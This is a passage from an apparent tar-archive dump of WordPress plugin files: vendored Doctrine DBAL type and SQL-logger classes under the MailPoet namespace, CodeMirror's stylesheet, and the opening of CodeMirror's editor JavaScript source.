namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class DateType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::DATE; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getDateTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $value !== null ? $value->format($platform->getDateFormatString()) : null; } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null || $value instanceof \DateTime) { return $value; } $val = \DateTime::createFromFormat('!' . $platform->getDateFormatString(), $value); if (!$val) { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailedFormat($value, $this->getName(), $platform->getDateFormatString()); } return $val; } } Doctrine/DBAL/Types/ObjectType.php 0000666 00000002242 15035130072 0012702 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class ObjectType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getClobTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return \serialize($value); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null) { return null; } $value = \is_resource($value) ? \stream_get_contents($value) : $value; $val = \unserialize($value); if ($val === \false && $value !== 'b:0;') { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailed($value, $this->getName()); } return $val; } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::OBJECT; } public function requiresSQLCommentHint(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return \true; } } Doctrine/DBAL/Types/BooleanType.php 0000666 00000001605 15035130072 0013055 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class BooleanType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getBooleanTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->convertBooleansToDatabaseValue($value); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->convertFromBoolean($value); } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::BOOLEAN; } public function getBindingType() { return \PDO::PARAM_BOOL; } } Doctrine/DBAL/Types/DateTimeType.php 0000666 00000002260 15035130072 0013170 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class DateTimeType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::DATETIME; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getDateTimeTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $value !== null ? $value->format($platform->getDateTimeFormatString()) : null; } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null || $value instanceof \DateTime) { return $value; } $val = \DateTime::createFromFormat($platform->getDateTimeFormatString(), $value); if (!$val) { $val = \date_create($value); } if (!$val) { throw \MailPoetVendor\Doctrine\DBAL\Types\ConversionException::conversionFailedFormat($value, $this->getName(), $platform->getDateTimeFormatString()); } return $val; } } Doctrine/DBAL/Types/SimpleArrayType.php 0000666 00000002054 15035130072 0013725 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class SimpleArrayType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getClobTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if (!$value) { return null; } return \implode(',', $value); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null) { return array(); } $value = \is_resource($value) ? \stream_get_contents($value) : $value; return \explode(',', $value); } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::SIMPLE_ARRAY; } public function requiresSQLCommentHint(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return \true; } } Doctrine/DBAL/Types/JsonArrayType.php 0000666 00000002140 15035130072 0013401 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class JsonArrayType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getJsonTypeDeclarationSQL($fieldDeclaration); } public function convertToDatabaseValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if (null === $value) { return null; } return \json_encode($value); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { if ($value === null || $value === '') { return array(); } $value = \is_resource($value) ? \stream_get_contents($value) : $value; return \json_decode($value, \true); } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::JSON_ARRAY; } public function requiresSQLCommentHint(\MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return !$platform->hasNativeJsonType(); } } Doctrine/DBAL/Types/TextType.php 0000666 00000001244 15035130072 0012421 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class TextType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getClobTypeDeclarationSQL($fieldDeclaration); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return \is_resource($value) ? \stream_get_contents($value) : $value; } public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::TEXT; } } Doctrine/DBAL/Types/SmallIntType.php 0000666 00000001326 15035130072 0013221 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Types; if (!defined('ABSPATH')) exit; use MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform; class SmallIntType extends \MailPoetVendor\Doctrine\DBAL\Types\Type { public function getName() { return \MailPoetVendor\Doctrine\DBAL\Types\Type::SMALLINT; } public function getSQLDeclaration(array $fieldDeclaration, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return $platform->getSmallIntTypeDeclarationSQL($fieldDeclaration); } public function convertToPHPValue($value, \MailPoetVendor\Doctrine\DBAL\Platforms\AbstractPlatform $platform) { return null === $value ? null : (int) $value; } public function getBindingType() { return \PDO::PARAM_INT; } } Doctrine/DBAL/VersionAwarePlatformDriver.php 0000666 00000000263 15035130072 0015015 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL; if (!defined('ABSPATH')) exit; interface VersionAwarePlatformDriver { public function createDatabasePlatformForVersion($version); } Doctrine/DBAL/Logging/index.php 0000666 00000000000 15035130072 0012211 0 ustar 00 Doctrine/DBAL/Logging/EchoSQLLogger.php 0000666 00000000567 15035130072 0013522 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Logging; if (!defined('ABSPATH')) exit; class EchoSQLLogger implements \MailPoetVendor\Doctrine\DBAL\Logging\SQLLogger { public function startQuery($sql, array $params = null, array $types = null) { echo $sql . \PHP_EOL; if ($params) { \var_dump($params); } if ($types) { \var_dump($types); } } public function stopQuery() { } } Doctrine/DBAL/Logging/SQLLogger.php 0000666 00000000330 15035130072 0012707 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Logging; if (!defined('ABSPATH')) exit; interface SQLLogger { public function startQuery($sql, array $params = null, array $types = null); public function stopQuery(); } Doctrine/DBAL/Logging/DebugStack.php 0000666 00000001235 15035130072 0013131 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Logging; if (!defined('ABSPATH')) exit; class DebugStack implements \MailPoetVendor\Doctrine\DBAL\Logging\SQLLogger { public $queries = array(); public $enabled = \true; public $start = null; public $currentQuery = 0; public function startQuery($sql, array $params = null, array $types = null) { if ($this->enabled) { $this->start = \microtime(\true); $this->queries[++$this->currentQuery] = array('sql' => $sql, 'params' => $params, 'types' => $types, 'executionMS' => 0); } } public function stopQuery() { if ($this->enabled) { $this->queries[$this->currentQuery]['executionMS'] = \microtime(\true) - $this->start; } } } Doctrine/DBAL/Logging/LoggerChain.php 0000666 00000001070 15035130072 0013274 0 ustar 00 <?php
namespace MailPoetVendor\Doctrine\DBAL\Logging; if (!defined('ABSPATH')) exit; class LoggerChain implements \MailPoetVendor\Doctrine\DBAL\Logging\SQLLogger { private $loggers = array(); public function addLogger(\MailPoetVendor\Doctrine\DBAL\Logging\SQLLogger $logger) { $this->loggers[] = $logger; } public function startQuery($sql, array $params = null, array $types = null) { foreach ($this->loggers as $logger) { $logger->startQuery($sql, $params, $types); } } public function stopQuery() { foreach ($this->loggers as $logger) { $logger->stopQuery(); } } } Doctrine/index.php 0000666 00000000000 15035130072 0010121 0 ustar 00 codemirror.css 0000666 00000020721 15175753125 0007444 0 ustar 00 /* BASICS */
.CodeMirror {
/* Set height, width, borders, and global font properties here */
font-family: monospace;
height: inherit;
color: black;
}
/* PADDING */
.CodeMirror-lines {
padding: 4px 0; /* Vertical padding around content */
}
.CodeMirror pre {
padding: 0 4px; /* Horizontal padding of content */
}
.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
background-color: white; /* The little square between H and V scrollbars */
}
/* GUTTER */
.CodeMirror-gutters {
border-right: 1px solid #ddd;
background-color: #f7f7f7;
white-space: nowrap;
}
.CodeMirror-linenumbers {}
.CodeMirror-linenumber {
padding: 0 3px 0 5px;
min-width: 20px;
text-align: right;
color: #999;
white-space: nowrap;
}
.CodeMirror-guttermarker { color: black; }
.CodeMirror-guttermarker-subtle { color: #999; }
/* CURSOR */
.CodeMirror-cursor {
border-left: 1px solid black;
border-right: none;
width: 0;
}
/* Shown when moving in bi-directional text */
.CodeMirror div.CodeMirror-secondarycursor {
border-left: 1px solid silver;
}
.cm-fat-cursor .CodeMirror-cursor {
width: auto;
border: 0 !important;
background: #7e7;
}
.cm-fat-cursor div.CodeMirror-cursors {
z-index: 1;
}
.cm-animate-fat-cursor {
width: auto;
border: 0;
-webkit-animation: blink 1.06s steps(1) infinite;
-moz-animation: blink 1.06s steps(1) infinite;
animation: blink 1.06s steps(1) infinite;
background-color: #7e7;
}
@-moz-keyframes blink {
0% {}
50% { background-color: transparent; }
100% {}
}
@-webkit-keyframes blink {
0% {}
50% { background-color: transparent; }
100% {}
}
@keyframes blink {
0% {}
50% { background-color: transparent; }
100% {}
}
/* Can style cursor different in overwrite (non-insert) mode */
.CodeMirror-overwrite .CodeMirror-cursor {}
.cm-tab { display: inline-block; text-decoration: inherit; }
.CodeMirror-rulers {
position: absolute;
left: 0; right: 0; top: -50px; bottom: -20px;
overflow: hidden;
}
.CodeMirror-ruler {
border-left: 1px solid #ccc;
top: 0; bottom: 0;
position: absolute;
}
/* DEFAULT THEME */
.cm-s-default .cm-header {color: blue;}
.cm-s-default .cm-quote {color: #090;}
.cm-negative {color: #d44;}
.cm-positive {color: #292;}
.cm-header, .cm-strong {font-weight: bold;}
.cm-em {font-style: italic;}
.cm-link {text-decoration: underline;}
.cm-strikethrough {text-decoration: line-through;}
.cm-s-default .cm-keyword {color: #708;}
.cm-s-default .cm-atom {color: #219;}
.cm-s-default .cm-number {color: #164;}
.cm-s-default .cm-def {color: #00f;}
.cm-s-default .cm-variable,
.cm-s-default .cm-punctuation,
.cm-s-default .cm-property,
.cm-s-default .cm-operator {}
.cm-s-default .cm-variable-2 {color: #05a;}
.cm-s-default .cm-variable-3 {color: #085;}
.cm-s-default .cm-comment {color: #a50;}
.cm-s-default .cm-string {color: #a11;}
.cm-s-default .cm-string-2 {color: #f50;}
.cm-s-default .cm-meta {color: #555;}
.cm-s-default .cm-qualifier {color: #555;}
.cm-s-default .cm-builtin {color: #30a;}
.cm-s-default .cm-bracket {color: #997;}
.cm-s-default .cm-tag {color: #170;}
.cm-s-default .cm-attribute {color: #00c;}
.cm-s-default .cm-hr {color: #999;}
.cm-s-default .cm-link {color: #00c;}
.cm-s-default .cm-error {color: #f00;}
.cm-invalidchar {color: #f00;}
.CodeMirror-composing { border-bottom: 2px solid; }
/* Default styles for common addons */
div.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;}
div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;}
.CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); }
.CodeMirror-activeline-background {background: #e8f2ff;}
/* STOP */
/* The rest of this file contains styles related to the mechanics of
the editor. You probably shouldn't touch them. */
.CodeMirror {
position: relative;
overflow: hidden;
background: white;
}
.CodeMirror-scroll {
overflow: scroll !important; /* Things will break if this is overridden */
/* 30px is the magic margin used to hide the element's real scrollbars */
/* See overflow: hidden in .CodeMirror */
margin-bottom: -30px; margin-right: -30px;
padding-bottom: 30px;
height: 100%;
outline: none; /* Prevent dragging from highlighting the element */
position: relative;
}
.CodeMirror-sizer {
position: relative;
border-right: 30px solid transparent;
}
/* The fake, visible scrollbars. Used to force redraw during scrolling
before actual scrolling happens, thus preventing shaking and
flickering artifacts. */
.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
position: absolute;
z-index: 6;
display: none;
}
.CodeMirror-vscrollbar {
right: 0; top: 0;
overflow-x: hidden;
overflow-y: scroll;
}
.CodeMirror-hscrollbar {
bottom: 0; left: 0;
overflow-y: hidden;
overflow-x: scroll;
}
.CodeMirror-scrollbar-filler {
right: 0; bottom: 0;
}
.CodeMirror-gutter-filler {
left: 0; bottom: 0;
}
.CodeMirror-gutters {
position: absolute; left: 0; top: 0;
min-height: 100%;
z-index: 3;
}
.CodeMirror-gutter {
white-space: normal;
height: 100%;
display: inline-block;
vertical-align: top;
margin-bottom: -30px;
/* Hack to make IE7 behave */
*zoom:1;
*display:inline;
}
.CodeMirror-gutter-wrapper {
position: absolute;
z-index: 4;
background: none !important;
border: none !important;
}
.CodeMirror-gutter-background {
position: absolute;
top: 0; bottom: 0;
z-index: 4;
}
.CodeMirror-gutter-elt {
position: absolute;
cursor: default;
z-index: 4;
}
.CodeMirror-gutter-wrapper {
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
}
.CodeMirror-lines {
cursor: text;
min-height: 1px; /* prevents collapsing before first draw */
}
.CodeMirror pre {
/* Reset some styles that the rest of the page might have set */
-moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0;
border-width: 0;
background: transparent;
font-family: inherit;
font-size: inherit;
margin: 0;
white-space: pre;
word-wrap: normal;
line-height: inherit;
color: inherit;
z-index: 2;
position: relative;
overflow: visible;
-webkit-tap-highlight-color: transparent;
-webkit-font-variant-ligatures: none;
font-variant-ligatures: none;
}
.CodeMirror-wrap pre {
word-wrap: break-word;
white-space: pre-wrap;
word-break: normal;
}
.CodeMirror-linebackground {
position: absolute;
left: 0; right: 0; top: 0; bottom: 0;
z-index: 0;
}
.CodeMirror-linewidget {
position: relative;
z-index: 2;
overflow: auto;
}
.CodeMirror-widget {}
.CodeMirror-code {
outline: none;
}
/* Force content-box sizing for the elements where we expect it */
.CodeMirror-scroll,
.CodeMirror-sizer,
.CodeMirror-gutter,
.CodeMirror-gutters,
.CodeMirror-linenumber {
-moz-box-sizing: content-box;
box-sizing: content-box;
}
.CodeMirror-measure {
position: absolute;
width: 100%;
height: 0;
overflow: hidden;
visibility: hidden;
}
.CodeMirror-cursor {
position: absolute;
pointer-events: none;
}
.CodeMirror-measure pre { position: static; }
div.CodeMirror-cursors {
visibility: hidden;
position: relative;
z-index: 3;
}
div.CodeMirror-dragcursors {
visibility: visible;
}
.CodeMirror-focused div.CodeMirror-cursors {
visibility: visible;
}
.CodeMirror-selected { background: #d9d9d9; }
.CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; }
.CodeMirror-crosshair { cursor: crosshair; }
.CodeMirror-line::selection, .CodeMirror-line > span::selection, .CodeMirror-line > span > span::selection { background: #d7d4f0; }
.CodeMirror-line::-moz-selection, .CodeMirror-line > span::-moz-selection, .CodeMirror-line > span > span::-moz-selection { background: #d7d4f0; }
.cm-searching {
background: #ffa;
background: rgba(255, 255, 0, .4);
}
/* IE7 hack to prevent it from returning funny offsetTops on the spans */
.CodeMirror span { *vertical-align: text-bottom; }
/* Used to force a border model for a node */
.cm-force-border { padding-right: .1px; }
@media print {
/* Hide the cursor when printing */
.CodeMirror div.CodeMirror-cursors {
visibility: hidden;
}
}
/* See issue #2901 */
.cm-tab-wrap-hack:after { content: ''; }
/* Help users use markselection to safely style text background */
span.CodeMirror-selectedtext { background: none; }
codemirror.js 0000666 00001312712 15175753125 0007275 0 ustar 00 // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
// This is CodeMirror (http://codemirror.net), a code editor
// implemented in JavaScript on top of the browser's DOM.
//
// You can find some technical background for some of the code below
// at http://marijnhaverbeke.nl/blog/#cm-internals .
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
module.exports = mod();
else if (typeof define == "function" && define.amd) // AMD
return define([], mod);
else // Plain browser env
(this || window).CodeMirror = mod();
})(function() {
"use strict";
// BROWSER SNIFFING
// Kludges for bugs and behavior differences that can't be feature
// detected are enabled based on userAgent etc sniffing.
var userAgent = navigator.userAgent;
var platform = navigator.platform;
var gecko = /gecko\/\d/i.test(userAgent);
var ie_upto10 = /MSIE \d/.test(userAgent);
var ie_11up = /Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(userAgent);
var ie = ie_upto10 || ie_11up;
var ie_version = ie && (ie_upto10 ? document.documentMode || 6 : ie_11up[1]);
var webkit = /WebKit\//.test(userAgent);
var qtwebkit = webkit && /Qt\/\d+\.\d+/.test(userAgent);
var chrome = /Chrome\//.test(userAgent);
var presto = /Opera\//.test(userAgent);
var safari = /Apple Computer/.test(navigator.vendor);
var mac_geMountainLion = /Mac OS X 1\d\D([8-9]|\d\d)\D/.test(userAgent);
var phantom = /PhantomJS/.test(userAgent);
var ios = /AppleWebKit/.test(userAgent) && /Mobile\/\w+/.test(userAgent);
// This is woefully incomplete. Suggestions for alternative methods welcome.
var mobile = ios || /Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(userAgent);
var mac = ios || /Mac/.test(platform);
var chromeOS = /\bCrOS\b/.test(userAgent);
var windows = /win/i.test(platform);
var presto_version = presto && userAgent.match(/Version\/(\d*\.\d*)/);
if (presto_version) presto_version = Number(presto_version[1]);
if (presto_version && presto_version >= 15) { presto = false; webkit = true; }
// Some browsers use the wrong event properties to signal cmd/ctrl on OS X
var flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11));
var captureRightClick = gecko || (ie && ie_version >= 9);
// Optimize some code when these features are not used.
var sawReadOnlySpans = false, sawCollapsedSpans = false;
// EDITOR CONSTRUCTOR
// A CodeMirror instance represents an editor. This is the object
// that user code is usually dealing with.
function CodeMirror(place, options) {
if (!(this instanceof CodeMirror)) return new CodeMirror(place, options);
this.options = options = options ? copyObj(options) : {};
// Determine effective options based on given values and defaults.
copyObj(defaults, options, false);
setGuttersForLineNumbers(options);
var doc = options.value;
if (typeof doc == "string") doc = new Doc(doc, options.mode, null, options.lineSeparator);
this.doc = doc;
var input = new CodeMirror.inputStyles[options.inputStyle](this);
var display = this.display = new Display(place, doc, input);
display.wrapper.CodeMirror = this;
updateGutters(this);
themeChanged(this);
if (options.lineWrapping)
this.display.wrapper.className += " CodeMirror-wrap";
if (options.autofocus && !mobile) display.input.focus();
initScrollbars(this);
this.state = {
keyMaps: [], // stores maps added by addKeyMap
overlays: [], // highlighting overlays, as added by addOverlay
modeGen: 0, // bumped when mode/overlay changes, used to invalidate highlighting info
overwrite: false,
delayingBlurEvent: false,
focused: false,
suppressEdits: false, // used to disable editing during key handlers when in readOnly mode
pasteIncoming: false, cutIncoming: false, // help recognize paste/cut edits in input.poll
selectingText: false,
draggingText: false,
highlight: new Delayed(), // stores highlight worker timeout
keySeq: null, // Unfinished key sequence
specialChars: null
};
var cm = this;
// Override magic textarea content restore that IE sometimes does
// on our hidden textarea on reload
if (ie && ie_version < 11) setTimeout(function() { cm.display.input.reset(true); }, 20);
registerEventHandlers(this);
ensureGlobalHandlers();
startOperation(this);
this.curOp.forceUpdate = true;
attachDoc(this, doc);
if ((options.autofocus && !mobile) || cm.hasFocus())
setTimeout(bind(onFocus, this), 20);
else
onBlur(this);
for (var opt in optionHandlers) if (optionHandlers.hasOwnProperty(opt))
optionHandlers[opt](this, options[opt], Init);
maybeUpdateLineNumberWidth(this);
if (options.finishInit) options.finishInit(this);
for (var i = 0; i < initHooks.length; ++i) initHooks[i](this);
endOperation(this);
// Suppress optimizelegibility in Webkit, since it breaks text
// measuring on line wrapping boundaries.
if (webkit && options.lineWrapping &&
getComputedStyle(display.lineDiv).textRendering == "optimizelegibility")
display.lineDiv.style.textRendering = "auto";
}
// DISPLAY CONSTRUCTOR
// The display handles the DOM integration, both for input reading
// and content drawing. It holds references to DOM nodes and
// display-related state.
function Display(place, doc, input) {
var d = this;
this.input = input;
// Covers bottom-right square when both scrollbars are present.
d.scrollbarFiller = elt("div", null, "CodeMirror-scrollbar-filler");
d.scrollbarFiller.setAttribute("cm-not-content", "true");
// Covers bottom of gutter when coverGutterNextToScrollbar is on
// and h scrollbar is present.
d.gutterFiller = elt("div", null, "CodeMirror-gutter-filler");
d.gutterFiller.setAttribute("cm-not-content", "true");
// Will contain the actual code, positioned to cover the viewport.
d.lineDiv = elt("div", null, "CodeMirror-code");
// Elements are added to these to represent selection and cursors.
d.selectionDiv = elt("div", null, null, "position: relative; z-index: 1");
d.cursorDiv = elt("div", null, "CodeMirror-cursors");
// A visibility: hidden element used to find the size of things.
d.measure = elt("div", null, "CodeMirror-measure");
// When lines outside of the viewport are measured, they are drawn in this.
d.lineMeasure = elt("div", null, "CodeMirror-measure");
// Wraps everything that needs to exist inside the vertically-padded coordinate system
d.lineSpace = elt("div", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],
null, "position: relative; outline: none");
// Moved around its parent to cover visible view.
d.mover = elt("div", [elt("div", [d.lineSpace], "CodeMirror-lines")], null, "position: relative");
// Set to the height of the document, allowing scrolling.
d.sizer = elt("div", [d.mover], "CodeMirror-sizer");
d.sizerWidth = null;
// Behavior of elts with overflow: auto and padding is
// inconsistent across browsers. This is used to ensure the
// scrollable area is big enough.
d.heightForcer = elt("div", null, null, "position: absolute; height: " + scrollerGap + "px; width: 1px;");
// Will contain the gutters, if any.
d.gutters = elt("div", null, "CodeMirror-gutters");
d.lineGutter = null;
// Actual scrollable element.
d.scroller = elt("div", [d.sizer, d.heightForcer, d.gutters], "CodeMirror-scroll");
d.scroller.setAttribute("tabIndex", "-1");
// The element in which the editor lives.
d.wrapper = elt("div", [d.scrollbarFiller, d.gutterFiller, d.scroller], "CodeMirror");
// Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)
if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }
if (!webkit && !(gecko && mobile)) d.scroller.draggable = true;
if (place) {
if (place.appendChild) place.appendChild(d.wrapper);
else place(d.wrapper);
}
// Current rendered range (may be bigger than the view window).
d.viewFrom = d.viewTo = doc.first;
d.reportedViewFrom = d.reportedViewTo = doc.first;
// Information about the rendered lines.
d.view = [];
d.renderedView = null;
// Holds info about a single rendered line when it was rendered
// for measurement, while not in view.
d.externalMeasured = null;
// Empty space (in pixels) above the view
d.viewOffset = 0;
d.lastWrapHeight = d.lastWrapWidth = 0;
d.updateLineNumbers = null;
d.nativeBarWidth = d.barHeight = d.barWidth = 0;
d.scrollbarsClipped = false;
// Used to only resize the line number gutter when necessary (when
// the amount of lines crosses a boundary that makes its width change)
d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;
// Set to true when a non-horizontal-scrolling line widget is
// added. As an optimization, line widget aligning is skipped when
// this is false.
d.alignWidgets = false;
d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
// Tracks the maximum line length so that the horizontal scrollbar
// can be kept static when scrolling.
d.maxLine = null;
d.maxLineLength = 0;
d.maxLineChanged = false;
// Used for measuring wheel scrolling granularity
d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;
// True when shift is held down.
d.shift = false;
// Used to track whether anything happened since the context menu
// was opened.
d.selForContextMenu = null;
d.activeTouch = null;
input.init(d);
}
// STATE UPDATES
// Used to get the editor into a consistent state again when options change.
function loadMode(cm) {
cm.doc.mode = CodeMirror.getMode(cm.options, cm.doc.modeOption);
resetModeState(cm);
}
function resetModeState(cm) {
cm.doc.iter(function(line) {
if (line.stateAfter) line.stateAfter = null;
if (line.styles) line.styles = null;
});
cm.doc.frontier = cm.doc.first;
startWorker(cm, 100);
cm.state.modeGen++;
if (cm.curOp) regChange(cm);
}
function wrappingChanged(cm) {
if (cm.options.lineWrapping) {
addClass(cm.display.wrapper, "CodeMirror-wrap");
cm.display.sizer.style.minWidth = "";
cm.display.sizerWidth = null;
} else {
rmClass(cm.display.wrapper, "CodeMirror-wrap");
findMaxLine(cm);
}
estimateLineHeights(cm);
regChange(cm);
clearCaches(cm);
setTimeout(function(){updateScrollbars(cm);}, 100);
}
// Returns a function that estimates the height of a line, to use as
// first approximation until the line becomes visible (and is thus
// properly measurable).
function estimateHeight(cm) {
var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;
var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3);
return function(line) {
if (lineIsHidden(cm.doc, line)) return 0;
var widgetsHeight = 0;
if (line.widgets) for (var i = 0; i < line.widgets.length; i++) {
if (line.widgets[i].height) widgetsHeight += line.widgets[i].height;
}
if (wrapping)
return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th;
else
return widgetsHeight + th;
};
}
function estimateLineHeights(cm) {
var doc = cm.doc, est = estimateHeight(cm);
doc.iter(function(line) {
var estHeight = est(line);
if (estHeight != line.height) updateLineHeight(line, estHeight);
});
}
function themeChanged(cm) {
cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") +
cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-");
clearCaches(cm);
}
function guttersChanged(cm) {
updateGutters(cm);
regChange(cm);
setTimeout(function(){alignHorizontally(cm);}, 20);
}
// Rebuild the gutter elements, ensure the margin to the left of the
// code matches their width.
function updateGutters(cm) {
var gutters = cm.display.gutters, specs = cm.options.gutters;
removeChildren(gutters);
for (var i = 0; i < specs.length; ++i) {
var gutterClass = specs[i];
var gElt = gutters.appendChild(elt("div", null, "CodeMirror-gutter " + gutterClass));
if (gutterClass == "CodeMirror-linenumbers") {
cm.display.lineGutter = gElt;
gElt.style.width = (cm.display.lineNumWidth || 1) + "px";
}
}
gutters.style.display = i ? "" : "none";
updateGutterSpace(cm);
}
function updateGutterSpace(cm) {
var width = cm.display.gutters.offsetWidth;
cm.display.sizer.style.marginLeft = width + "px";
}
// Compute the character length of a line, taking into account
// collapsed ranges (see markText) that might hide parts, and join
// other lines onto it.
function lineLength(line) {
if (line.height == 0) return 0;
var len = line.text.length, merged, cur = line;
while (merged = collapsedSpanAtStart(cur)) {
var found = merged.find(0, true);
cur = found.from.line;
len += found.from.ch - found.to.ch;
}
cur = line;
while (merged = collapsedSpanAtEnd(cur)) {
var found = merged.find(0, true);
len -= cur.text.length - found.from.ch;
cur = found.to.line;
len += cur.text.length - found.to.ch;
}
return len;
}
// Find the longest line in the document.
function findMaxLine(cm) {
var d = cm.display, doc = cm.doc;
d.maxLine = getLine(doc, doc.first);
d.maxLineLength = lineLength(d.maxLine);
d.maxLineChanged = true;
doc.iter(function(line) {
var len = lineLength(line);
if (len > d.maxLineLength) {
d.maxLineLength = len;
d.maxLine = line;
}
});
}
// Make sure the gutters options contains the element
// "CodeMirror-linenumbers" when the lineNumbers option is true.
function setGuttersForLineNumbers(options) {
var found = indexOf(options.gutters, "CodeMirror-linenumbers");
if (found == -1 && options.lineNumbers) {
